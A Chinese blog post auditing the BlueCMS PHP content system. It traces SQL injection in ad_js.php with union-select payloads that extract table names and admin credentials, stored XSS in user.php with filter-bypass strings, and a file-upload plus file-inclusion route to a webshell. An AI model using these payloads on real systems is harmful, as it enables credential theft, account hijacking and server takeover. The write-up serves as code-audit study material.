BlueCMS代码审计

admin 2021年9月29日22:45:36BlueCMS代码审计已关闭评论336 views字数 3900阅读13分0秒阅读模式

先把我们的源码下载好,并且搭建好

打开我们的Seay源代码审计系统,把源码丢进去自动审计一下

image-20210807101543726

我们可以看到这里第一条就是可能存在SQL注入的地方,点进去看看

image-20210807101810140

image-20210807101934566

我们可以继续跟踪一下这个函数,函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

这函数定义的大概意思就是如果传进来的参数是数组,每个过滤一下,如果不是,就直接对传进来的参数先经过一下addslashes这个函数,也就是对某些特殊字符进行转义

我们继续回到漏洞可能存在的ad_js.php进行分析

image-20210807102257332

这里判断了是否有传入ad_id参数,如果传入了先对他使用一下trim函数,否则为空

如果不为空,执行如下的语句

1
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

跟踪一下这里的getone函数,盲猜是进行数据库查询,因为后面有具体的数据库查询语句

1
2
3
4
5
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

再追踪一下这个query函数

1
2
3
4
5
6
7
function query($sql){
if(!$query=@mysql_query($sql, $this->linkid)){
$this->dbshow("Query error:$sql");
}else{
return $query;
}
}

可以看到,query就是把语句拿到数据库里查询,如果查询出错执行$this->dbshow(“Query error:$sql”);,如果查询成功函数返回查询的结果,getone函数就是把查询出来的结果存放到数组里,这里还有个dbshow函数,继续跟入

1
2
3
4
5
6
7
8
function dbshow($msg){
if($msg){
echo "Error:".$msg."<br><br>";
}else{
echo "Errno:".$this->errno()."<br>Error:".$this->error();
}
exit;
}

这个函数的作用就是输出错误信息

大致的代码分析完了,这里基本上可以说没有过滤

image-20210807103656567

之后就靠这里的echo输出结果,我们知道了这个注入点对他进行注入看看,直接构造payload

Payload:

1
2
3
?ad_id=-1 order by 8#  //报错,得知7个列
?ad_id=-1 union select 1,2,3,4,5,6,7 # //F12查看,发现7是回显位
?ad_id=-1 union select 1,2,3,4,5,6,table_name from information_schema.tables wehre table_schema=database() limit 0,1 #//这里爆数据表名 一个个爆

额,这里挺尴尬的,这个cms自动转义了引号,那么平常的那种可能爆不了,但是我们知道他数据库怎么组成的直接注入就好了

这里又看了别人的代码审计,发现可以通过16进制来表示表名

ad_id=-1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x626c7565

Payload:

1
-1 union select 1,2,3,4,5,6,concat(admin_name,1,pwd) from blue_admin limit 0,1#

我们这里直接拿1来分隔吧,反正都一样

image-20210807105035881

Bluecms代码审计之存储型XSS

注入点-1

我这里直接找的功能点,在Bluecms中有个人资料可以修改,如果过滤不当就可以造成XSS漏洞,我们这里来看看

image-20210807113539976

个人资料在user.php下,我们直接看文件吧

image-20210807113654255

主要代码如下

1
2
3
4
5
6
7
8
9
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

他这里很明显啊,除了对address有把特殊字符转化为html实体以外,其他都只用了一个trim函数

所以这里就可以造成一个存储型XSS,因为这里提交的个人资料是存放到数据库里会被再次查询的

直接插入XSS代码

image-20210807113843645

注入点-2

同样的在user.php下面有个添加新闻 也可能存在XSS漏洞,我们随便看看吧

1
2
3
4
5
6
7
8
9
10
11
12
13
elseif ($act == 'do_add_news') {
include_once 'include/upload.class.php';
$image = new upload();
$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
if(empty($cid)){
showmsg('新闻分类不能为空');
}
$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);

这里很明显,只有content和descript没有对特殊字符进行html实体化编码

但是conten有一个filter_data,跟踪一下

1
2
3
4
5
function filter_data($str)
{
$str = preg_replace("/<(/?)(script|i?frame|meta|link)(s*)[^<]*>/", "", $str);
return $str;
}

正则匹配了一些东西,这里很容易绕过

1
2
3
<img src="1" onerror=alert(1)>
或者大小写绕过
<scir<script>pt> 重写绕过。

image-20210807122410003

Bluecms代码审计之文件上传配合文件包含getshell

首先要getshell,如果没法直接上传普通的webshell,那就只能找文件包含了

这里找到一处文件包含位于user.php中

image-20210807134929583

可以看到get请求传入一个act,然后post请求传入一个pay,就会去包含include/payment/‘.$_POST[‘pay’].”/index.php这个文件,这里他的变量处在中间,没办法只能把后面截断了,这里还是和熊海cms那样利用长度限制来截断

这里随便找个上传点上传个图片马 首先要包含这个文件,需要知道他文件的目录在哪

所以头像上传是个不错的选择,上传好以后直接F12得到他的位置

image-20210807135224092

接下来直接去利用文件包含即可

image-20210807135418238

这里有post的参数,菜刀肯定是连不上了,我蚁剑貌似也出了点问题

相关推荐: 记录代码审计学习的过程,附含源码

每日分享好资料用来记录自己代码审计的学习笔记包含源码和笔记74CMS RCE漏洞分析(截图示例):app cms漏洞分析(截图示例):bluecms v1.6漏洞分析(截图示例):收集于:https://github.com/KpLi0rn/Code-audi…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月29日22:45:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BlueCMS代码审计http://cn-sec.com/archives/560543.html